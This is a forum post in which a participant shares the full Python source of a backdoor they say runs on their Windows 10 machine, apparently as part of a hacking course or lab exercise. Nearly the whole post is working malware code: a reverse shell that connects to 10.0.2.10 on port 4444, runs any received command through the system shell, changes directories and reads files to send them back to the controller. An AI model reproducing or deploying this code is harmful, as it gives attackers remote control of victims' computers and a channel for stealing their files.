May 26, 2020 at 8:08 am
#38116
cybersamuraiDK
Participant
Yes sir 🙂
This is the backdoor code running on my windows 10 machine.
#!/usr/bin/env python
import socket
import subprocess
import json
import os
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing CD to " + path
def read_file(self, path):
with open(path, "rb") as file:
return file.read()
def run(self):
while True:
command = self.reliable_receive()
if command[0] == "exit":
self.connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "download":
command_result = self.read_file(command[1])
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
my_backdoor = Backdoor("10.0.2.10", 4444)
my_backdoor.run()